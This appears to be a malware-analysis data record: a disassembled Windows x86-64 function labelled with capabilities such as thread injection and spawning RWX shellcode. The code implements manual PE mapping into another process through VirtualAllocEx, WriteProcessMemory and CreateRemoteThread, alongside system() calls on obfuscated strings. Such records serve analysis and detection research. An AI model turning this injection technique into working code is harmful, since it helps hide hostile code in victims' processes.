Function at 0x1400041d0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute command
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
movzx r12d, r9b
mov rsi, rdx
mov r14, rcx
xor edi, edi
mov eax, 0x5a4d
cmp word [rdx], ax
je 0x140004246
mov dword [rsp + 0x78], 0xf7e3fada
mov dword [rsp + 0x7c], 0xbafdf1fb
mov dword [rbp - 0x80], 0xfbf1f5fd
mov word [rbp - 0x7c], __WSAFDIsSet
mov byte [rbp - 0x7a], 1
lea rcx, [rsp + 0x78]
call fcn.140006060
lea rcx, [rsp + 0x78]
call fcn.140002ab0
xor al, al
jmp 0x140004d77
movsxd r15, dword [rdx + 0x3c]
add r15, rsi
mov eax, 0x8664
cmp word [r15 + 4], ax
je 0x14000428c
movdqa xmm0, xmmword [0x140077510]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rbp - 0x78], 0xa9
mov byte [rbp - 0x76], 1
lea rcx, [rsp + 0x78]
call fcn.140005960
lea rcx, [rsp + 0x78]
call fcn.140002ab0
xor al, al
jmp 0x140004d77
mov r8d, dword [r15 + 0x50]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x140004305
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x140077500]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140077570]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [0x1400775a0]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x100ce9b
lea rcx, [rsp + 0x40]
call fcn.140005f60
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140002ab0
xor al, al
jmp 0x140004d77
mov dword [rbp - 0x60], edi
mov r8d, dword [r15 + 0x50]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rbp - 0x30], rdi
mov dword [rbp - 0x24], edi
mov dword [rbp - 0x14], edi
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp - 0x50], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x48], rax
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r13
mov eax, dword [rbp + 0xb8]
mov dword [rbp - 0x28], eax
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x20], rax
movzx eax, byte [rbp + 0xb0]
mov dword [rbp - 0x18], eax
mov qword [rsp + 0x20], rdi
mov r9d, 0x1000
mov r8, rsi
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400043fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x1400774b0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xc7c0cc83
mov dword [rsp + 0x54], 0x8adbcdc3
mov dword [rsp + 0x58], 0xf688d49b
mov word [rsp + 0x5c], 0xa5
mov byte [rsp + 0x5e], 1
lea rcx, [rsp + 0x40]
call fcn.140005ce0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140002ab0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140004d77
movzx ebx, word [r15 + 0x14]
add rbx, 0x2c
cmp word [r15 + 6], di
je 0x140004450
add rbx, r15
mov eax, dword [rbx - 4]
test eax, eax
je 0x140004441
mov r9d, eax
mov r8d, dword [rbx]
add r8, rsi
mov edx, dword [rbx - 8]
add rdx, r13
mov qword [rsp + 0x20], 0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400044ef
inc edi
add rbx, 0x28
movzx eax, word [r15 + 6]
cmp edi, eax
jne 0x140004411
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
lea r8d, [rdx + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x140004553
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x140077500]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140077580]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [0x140077470]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0xcf9ce6
mov byte [rsp + 0x74], 1
lea rcx, [rsp + 0x40]
call fcn.140005fe0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140002ab0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140004d77
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x1400774e0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x869fd7cd
mov dword [rsp + 0x54], 0xd28cd097
mov word [rsp + 0x58], 0xa1
mov byte [rsp + 0x5a], 1
lea rcx, [rsp + 0x40]
call fcn.140005ae0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140002ab0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140004d77
xor ebx, ebx
mov qword [rsp + 0x20], rbx
lea r9d, [rbx + 0x40]
lea r8, [rbp - 0x50]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400045eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x140077530]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x86c2caca
mov dword [rsp + 0x54], 0xf28cd097
mov word [rsp + 0x58], 0xa1
mov byte [rsp + 0x5a], 1
lea rcx, [rsp + 0x40]
call fcn.140005ae0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140002ab0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140004d77
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov qword [rbp - 0x58], rax
test rax, rax
jne 0x1400046a9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x1400774a0]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140077590]
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x60], 0x9e95d0d6
mov dword [rsp + 0x64], 0x9a90c0d2
mov dword [rsp + 0x68], 0xe698c48b
mov word [rsp + 0x6c], 0xb5
mov byte [rsp + 0x6e], 1
lea rcx, [rsp + 0x40]
call fcn.140005ee0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140002ab0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140004d77
mov qword [rsp + 0x20], rbx
mov r9d, 0x1000
lea r8, [0x140004e50]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000475e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x1400774f0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xc2cac7cf
mov dword [rsp + 0x54], 0xd29988c2
mov dword [rsp + 0x58], 0xa7f48e
mov byte [rsp + 0x5c], 1
lea rcx, [rsp + 0x40]
call fcn.140005be0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140002ab0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140004d77
mov edx, reloc.WLDAP32.dll_Ordinal_30
lea rcx, [rbp - 0x10]
call fcn.140004da0
nop
mov dword [rbp + 0x88], 0xe6f8f0
mov byte [rbp + 0x8c], 1
lea rcx, [rbp + 0x88]
call fcn.140005860
lea rcx, [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x70], 0xf9f9fbf0
mov dword [rbp - 0x6c], 0xf8b8e5
mov byte [rbp - 0x68], 1
lea rcx, [rbp - 0x70]
call fcn.1400058e0
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
jbe 0x1400047d0
mov rcx, qword [rbp - 0x10]
call fcn.140003f90
mov rcx, rax
call fcn.140002ab0
mov edx, Ordinal_301
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14000485c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x140077440]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xcaccc5c5
mov dword [rsp + 0x54], 0x9a89ccc2
mov dword [rsp + 0x58], 0xa4f589d3
mov word [rsp + 0x5c], 0x100
lea rcx, [rsp + 0x40]
call fcn.140005c60
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140002ab0
jmp 0x140004cf1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x88], ebx
lea rdx, [rbp + 0x88]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ebx, dword [rbp + 0x88]
cmp ebx, 0x103
jne 0x140004d32
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rbp + 0x10]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp + 0x30]
cmp rbx, 0x404040
je 0x140004cc8
cmp rbx, 0x505050
jne 0x140004916
movdqa xmm0, xmmword [0x1400774d0]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140077560]
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x60], 0xbf95d7
mov byte [rsp + 0x64], 1
lea rcx, [rsp + 0x40]
call fcn.140005e60
lea rcx, [rsp + 0x40]
call fcn.140002ab0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x140004865
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov qword [rbp - 0x70], rax
test rax, rax
jne 0x140004980
movdqa xmm0, xmmword [0x140077490]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xcb85c1d7
mov dword [rsp + 0x54], 0xd8c6c5c2
mov dword [rsp + 0x58], 0x100a6d2
lea rcx, [rsp + 0x40]
call fcn.140005b60
lea rcx, [rsp + 0x40]
call fcn.140002ab0
jmp 0x140004d69
xor edx, edx
mov r8d, 0x1400000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
test r12b, r12b
je 0x1400049b3
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, rbx
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp byte [rbp + 0xa0], 0
je 0x140004b40
movzx edi, word [r15 + 0x14]
add rdi, 0x18
add rdi, r15
xor esi, esi
cmp word [r15 + 6], si
je 0x140004b40
lea rdx, [0x140077410]
lea r8, [0x140077418]
lea r9, str..reloc
movzx r12d, byte [rbp + 0xb0]
cmp dword [rdi + 8], 0
je 0x140004b2d
test r12b, r12b
jne 0x140004a25
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140004a25
cmp rcx, 7
jne 0x140004a10
jmp 0x140004a68
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140004a46
cmp rcx, 6
jne 0x140004a30
jmp 0x140004a68
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x140004b2d
cmp rcx, 7
jne 0x140004a50
movdqa xmm0, xmmword [0x1400774c0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xc7d3cbce
mov dword [rsp + 0x54], 0x100a2cb
lea rcx, [rsp + 0x40]
call fcn.140005a60
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140002ab0
mov r9d, dword [rdi + 8]
mov edx, dword [rdi + 0xc]
add rdx, r13
mov qword [rsp + 0x20], 0
mov r8, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140004b18
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x140077540]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x86cbcbca
mov dword [rsp + 0x54], 0x8a93db82
mov dword [rsp + 0x58], 0xd688d49b
mov word [rsp + 0x5c], 0xa5
mov byte [rsp + 0x5e], 1
lea rcx, [rsp + 0x40]
call fcn.140005ce0
mov r8d, ebx
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140002ab0
mov rbx, qword [rbp - 0x70]
lea r9, str..reloc
lea r8, [0x140077418]
lea rdx, [0x140077410]
inc esi
add rdi, 0x28
movzx eax, word [r15 + 6]
cmp esi, eax
jne 0x1400049f6
cmp byte [rbp + 0xa8], 0
je 0x140004c74
movzx ebx, word [r15 + 0x14]
add rbx, 0x18
add rbx, r15
xor esi, esi
cmp word [r15 + 6], si
je 0x140004c48
lea r12d, [rsi + 0x20]
nop word [rax + rax]
mov ecx, dword [rbx + 8]
test ecx, ecx
je 0x140004c35
mov dword [rbp + 0x88], 0
mov eax, dword [rbx + 0x24]
test eax, 0x80000000
jbe 0x140004b96
mov edi, 4
jmp 0x140004ba4
test eax, 0x20000000
mov edi, 2
cmova edi, r12d
mov r8, rcx
mov edx, dword [rbx + 0xc]
add rdx, r13
lea rax, [rbp + 0x88]
mov qword [rsp + 0x20], rax
mov r9d, edi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140004bf8
movdqa xmm0, xmmword [0x140077480]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xca8084d0
mov dword [rsp + 0x54], 0x100a2ff
lea rcx, [rsp + 0x40]
call fcn.140005a60
lea rcx, [rsp + 0x40]
jmp 0x140004c2a
movdqa xmm0, xmmword [0x140077520]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140077460]
movdqu xmmword [rsp + 0x50], xmm1
mov word [rsp + 0x60], 0x100
lea rcx, [rsp + 0x40]
call fcn.140005de0
lea rcx, [rsp + 0x40]
mov r8d, edi
mov rdx, rbx
call fcn.140002ab0
inc esi
add rbx, 0x28
movzx eax, word [r15 + 6]
cmp esi, eax
jne 0x140004b70
mov dword [rbp - 0x5c], 0
movzx eax, word [r15 + 0x14]
mov r8d, dword [rax + r15 + 0x24]
lea rax, [rbp - 0x5c]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x58]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp - 0x58]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov bl, 1
jmp 0x140004d6b
movdqa xmm0, xmmword [0x140077550]
movdqu xmmword [rsp + 0x78], xmm0
mov dword [rbp - 0x78], 0x100aed1
lea rcx, [rsp + 0x78]
call fcn.1400059e0
lea rcx, [rsp + 0x78]
call fcn.140002ab0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140004d69
movdqa xmm0, xmmword [0x140077450]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140077430]
movdqu xmmword [rsp + 0x50], xmm1
mov byte [rsp + 0x60], 1
lea rcx, [rsp + 0x40]
call fcn.140005d60
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140002ab0
xor bl, bl
lea rcx, [rbp - 0x10]
call fcn.140004100
movzx eax, bl
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret